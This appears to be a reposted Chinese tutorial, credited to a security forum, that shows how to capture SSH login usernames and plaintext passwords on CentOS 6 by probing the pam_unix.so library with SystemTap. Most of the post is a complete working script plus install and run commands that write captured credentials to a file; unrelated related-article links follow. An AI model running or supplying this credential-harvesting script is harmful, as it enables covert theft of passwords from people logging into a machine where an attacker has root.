• centos6.x 抓取ssh登录的用户名和密码


    systemtap是一款非常强大内核调试工具,可以debug很多关于kernel层的问题。Linux是通过PAM模块检测用户信息和认证信息的,从而确定一个用户是否可以登录系统,利用这个知识点,使用systemtap捕获一下pam_unix.so该动态库文件的函数调用,获得用户在ssh远程登录时的用户名和密码吧。
    
    测试环境:CentOS6.4 32bit
    
    内核版本:2.6.32-358.el6.i686
    
    首先安装以下rpm包
    yum --releasever=6.4 update
    
    yum install -y systemtap
    
    debuginfo-install $(rpm -qf /lib/security/pam_unix.so)
    
    创建文件,写入以下代码
    touch /root/capture_pass.stp
    
    · #!/usr/bin/stap 
    
    · global username, pass, isSuccRet = 1;
    
    · probe process("/lib/security/pam_unix.so").function("_unix_verify_password")
    
    · {
    
    · username = user_string($name);
    
    · pass = user_string($p);
    
    · }
    
    · probe process("/lib/security/pam_unix.so").function("_unix_verify_password").return
    
    · {
    
    · if ($return == 0)
    
    · {
    
    · printf("User: %s
    Password: %s
    
    ", username, pass);
    
    · isSuccRet = 0;
    
    · }
    
    · }
    
    · probe process("/lib/security/pam_unix.so").function("pam_sm_open_session")
    
    · {
    
    · if (isSuccRet != 0)
    
    · {
    
    · printf("Login via ssh service.
    User: %s
    Password: %s
    
    ", username, pass);
    
    · }
    
    · isSuccRet = 1;
    
    · }
    
    赋予可执行权限
    chmod +x capture_pass.stp
    创建一个记录密码的文件
    touch password.txt
    执行systemstap脚本
    stap capture_pass.stp -o password.txt
    
    本地执行capture_pass.stp脚本,同时ssh远程登录系统,即使第一次登录失败也没有问题,不会记录尝试输入的错误密码。登录成功后ctl+C终止脚本运行,查看password.txt,成功捕获。systemstap很强大的利器,所以只有超户可以使用。
    
    来自:https:
    //forum.90sec.org
  • 相关阅读:
    121. 122. 123. 188. Best Time to Buy and Sell Stock *HARD* 309. Best Time to Buy and Sell Stock with Cooldown -- 买卖股票
    from __future__ import absolute_import
    sql之left join、right join、inner join的区别
    Eclipse workspace 被占用问题
    JavaScript SetInterval与setTimeout使用方法详解
    提示框3秒钟后自动消失
    页面加载及取消加载
    分层总结
    java中的注释
    canvas画图
  • 原文地址:https://www.cnblogs.com/archoncap/p/5238408.html
Copyright © 2020-2023  润新知